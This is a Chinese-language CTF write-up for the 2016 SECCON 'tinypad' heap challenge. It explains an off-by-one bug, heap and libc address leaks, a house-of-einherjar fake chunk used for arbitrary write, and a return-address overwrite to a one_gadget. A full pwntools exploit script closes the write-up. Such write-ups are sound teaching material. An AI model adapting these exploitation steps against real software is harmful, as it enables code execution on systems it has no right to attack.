盒子
盒子
文章目录
  1. 简介 :
  2. 详解 :
    1. 功能 :
    2. 泄漏地址 :
    3. 任意改地址 :
  3. EXP :

2016 Seccon tinypad

简介 :

house of einherjar系列里面的一题,利用的思路太骚了。。要我想我估计我死都想不到这样的利用方式,堆利用可真神奇。。

详解 :

checksec:

1
2
3
4
5
6
7
➜  tinypad checksec ./tinypad 
[*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/tinypad/tinypad'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

基本全开了,按常理来说像是改__mall_hook或者是__free_hook来利用的。往下看。

功能 :

增删改memo,申请的堆内存指针放在bss的256偏移处。前八字节存储size字段,后八字节存储ptr字段。最大的申请空间也为0x100。删除处只清空了堆内存并将size字段置0,但是没有将指针置为0。但是这里并没有什么用,因为这里修改首先检查size字段是否是0,为0则无法修改mome。编辑点正常编辑。

需要注意的点 :

  1. 此处编辑处按照读取strlen长度来确定编辑长度,所以只要碰到了\x00,可输入的长度可能就会比预期的长度小了。
  2. 编辑处,先将堆内容复制到bss段的tinypad处,再确定可编辑长度,再将内容输入tinypad处,再将tinypad处的内容复制到堆内容处,这里存在着Off By One漏洞。

这里尤其要注意第一点,想明白他就能少绕很多弯路。

泄漏地址 :

这里因为程序本身就自带了show函数的功能,所以我们可以申请一个smallbin然后delete掉,这样就能拿到main_area地址,从而拿到libc基址。我们还可以泄漏heap的基址,利用两个fastbins。这里的话为了结合使用,我们可以先申请两个fastbin,再申请一个smallbin,然后delete掉两个fastbin,再delete掉smallbin,这里为什么smallbin不会和top chunk直接合并掉?

因为free掉smallbin的时候,前面刚好有刚刚free掉的fastbin,所以会产生一个unlink,所以将之前所创建的三个chunks全都合并到一起分到unsortbin当中去,然后又被top chunk合并,所以又回到一整块的chunk,但是指向unsortbin的指针仍然还在。所以我们仍然可以泄漏libc基址。

任意改地址 :

这里利用起来就有点困难了,我们需要用到house of einherjar的知识点了,因为存在Off By One的漏洞,所以我们可以靠一块chunk来覆盖下一块chunk的inuse区域,这里就可以想到利用unlink来利用,我们把伪造的空闲chunk构造在bss段上的tinypad处,这样申请最大0x100size的块时刚好可以覆盖到heap结构体的bss段地址处。

先用一块写的很多内容且不带’\x00’的chunk来覆盖bss段,以此构造fake chunk:

1
2
3
4
create(0x18,'A'*0x18)
create(0x100,'A'*0xf8 + '\x11') <----free时会检查next chunk的size
create(0x100,'A'*0xf8)
create(0x100,'A'*0xf8)
1
2
3
payload = 'A'*0x20 + p64(0x0) + p64(0x21) + p64(0x602040 + 0x20)
payload += p64(0x602040 + 0x20) + p64(0x20)
edit(3,payload)

为什么要在0x20的偏移处呢,因为后续编辑chunk的时候会用到前面0x20处的chunk内容,所以为了不破坏我们构造好的fake chunk,我们把fake chunk设置在0x20偏移处。

然后再利用Off By One漏洞覆盖inuse域以及pre_size字段,因为编辑功能一直有\x00结尾的特点,不能够一次性覆盖inuse域以及pre_size字段,我们这里需要一次一次的去缩短payload。并且把p64(pre_size)的\x00字节给去除掉。这里可以用strip方法函数来解决:

1
2
3
4
5
6
7
offset = heap_base - 0x602040
offset_strip = p64(offset).strip('\x00')
num_size = len(p64(offset)) - len(offset_strip)
print num_size

for i in range(num_size+1) : <--------多的一次是拿来覆盖inuse域的
edit(1,offset_strip.rjust(0x18 - i,'A'))

随后便可以delete2来出发unlink。

和fake chunk合并后构成一个unsortbin:

屏幕快照 2018-09-13 下午9.17.03

如果再去申请一个0x100大小的话,这里会出错:

屏幕快照 2018-09-13 下午9.19.22

我觉得可能是因为这块unsortbin实在是太大了,申请小部分出错了。网上说是申请空间时会先查找这里的unsortbin块,然后才会用top chunk,正常申请0x19ab0c0大的块时会用mmap,所以要想申请的0x100成功,必须修改这里的size域。

我们利用chunk4来修改(chunk3因为在0x20偏移处有\x00截断,可输入长度不够我们想要的):

1
2
edit(4,'A'*0x20+p64(0x0)+p64(0x111)+p64(data2)+p64(data2))
create(0x100,'A'*0xd0+p64(0x18)+p64(environ_addr)+p64(0x100)+p64(0x602148))

这下我们便能够申请成功了,然后再重写chunk结构体处的内容,因为这里有strlen\x00截断,所以我们无法靠修改__free_hook或者是__malloc_hook来getshell。

这里我们用到的方法是修改返回地址:

靠前面泄漏的libc地址泄漏出environ的地址,再利用程序本有的show功能泄漏environ地址处的栈地址,从而可以泄漏出返回地址。

这里我们将chunk1的指针覆盖成environ的地址,然后将chunk2的指针覆盖成chunk1指针所在的地址,这样我们便能够随便控制任何地址,修改任意地址了。

最后将返回地址修改成one_gadget地址getshell

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

p = process('./tinypad')
elf = ELF('./tinypad')
libc = ELF('libc.so')
context.log_level = 'debug'

def create(size,content) :
p.sendlineafter('(CMD)>>> ','a')
p.sendlineafter('(SIZE)>>> ',str(size))
p.sendlineafter('(CONTENT)>>> ',content)

def delete(index) :
p.sendlineafter('(CMD)>>> ','d')
p.sendlineafter('(INDEX)>>> ',str(index))

def edit(index,content) :
p.sendlineafter('(CMD)>>> ','e')
p.sendlineafter('(INDEX)>>> ',str(index))
p.sendlineafter('(CONTENT)>>> ',content)
p.sendlineafter('(Y/n)>>> ','y')

create(0x40,'AAAAAAAA')
create(0x40,'AAAAAAAA')
create(0x80,'AAAAAAAA')

#leak --> libc --> heap
delete(2)
delete(1)

p.recvuntil('# INDEX: 1\n')
p.recvuntil(' # CONTENT: ')
data = u64(p.recv(4).ljust(8,'\x00'))
heap_base = data - 0x50
log.success('heap_addr :'+hex(heap_base))

delete(3)

p.recvuntil('# INDEX: 1\n')
p.recvuntil(' # CONTENT: ')
data2 = u64(p.recv(6).ljust(8,'\x00'))
log.success('leak_addr :'+hex(data2))
libc_base = data2 - 0x3c4b78
one_gadget = libc_base + 0x45216
environ_addr = libc_base + libc.symbols['environ']
log.success('environ_addr :'+hex(environ_addr))
log.success('one_gadget_addr :'+hex(one_gadget))

#house of engerinc
create(0x18,'A'*0x18)
create(0x100,'A'*0xf8 + '\x11')
create(0x100,'A'*0xf8)
create(0x100,'A'*0xf8)

payload = 'A'*0x20 + p64(0x0) + p64(0x21) + p64(0x602040 + 0x20)
payload += p64(0x602040 + 0x20) + p64(0x20)
edit(3,payload)

offset = heap_base - 0x602040
offset_strip = p64(offset).strip('\x00')
num_size = len(p64(offset)) - len(offset_strip)
print num_size

for i in range(num_size+1) :
edit(1,offset_strip.rjust(0x18 - i,'A'))
delete(2)

edit(4,'A'*0x20+p64(0x0)+p64(0x111)+p64(data2)+p64(data2))
create(0x100,'A'*0xd0+p64(0x18)+p64(environ_addr)+p64(0x100)+p64(0x602148))

#leak --> environ_addr
p.recvuntil('# INDEX: 1\n')
p.recvuntil(' # CONTENT: ')
data3 = u64(p.recv(6).ljust(8,'\x00'))
log.success('environ_addr :'+hex(data3))

ret_addr = data3 - 0xf0
edit(2,p64(ret_addr))
edit(1,p64(one_gadget))

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫